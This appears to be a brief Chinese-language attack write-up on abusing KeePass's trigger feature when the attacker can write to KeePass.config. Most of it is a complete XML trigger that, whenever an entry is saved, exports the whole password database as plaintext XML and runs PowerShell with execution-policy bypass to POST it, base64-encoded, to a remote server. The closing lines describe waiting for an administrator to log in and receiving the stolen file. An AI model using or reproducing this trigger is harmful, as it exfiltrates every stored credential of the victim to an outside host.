KeePass 是一款免费的开源密码管理器
对 KeePass 配置文件具有写入权限
KeePass.config
打开KeePass 配置文件KeePass.config,在TriggerSystem处写入相应的触发器代码
<Triggers>
<Trigger>
<Guid>UVa+fd1Qr0KAcynoacKFKw==</Guid>
<Name>Trigger</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>C:\Users\a\AppData\Local\Temp\exploit.xml</Parameter>//指定文件的导出路径
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter> //powershell绕过权限不加载本地配置文件,执行Invoke-WebRequest发送post请求请求体为base64编码的字节码文件
<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://server_addr/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\a\AppData\Local\Temp\exploit.xml')))</Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
写入触发器代码后,等待管理员登录,当有新的密码条目被添加并保存时,密码就会被导出powershell执行就会触发把文件内容带出
添加一条记录保存,直接保存就能触发应该是保存的触发器,收到请求
导出的文件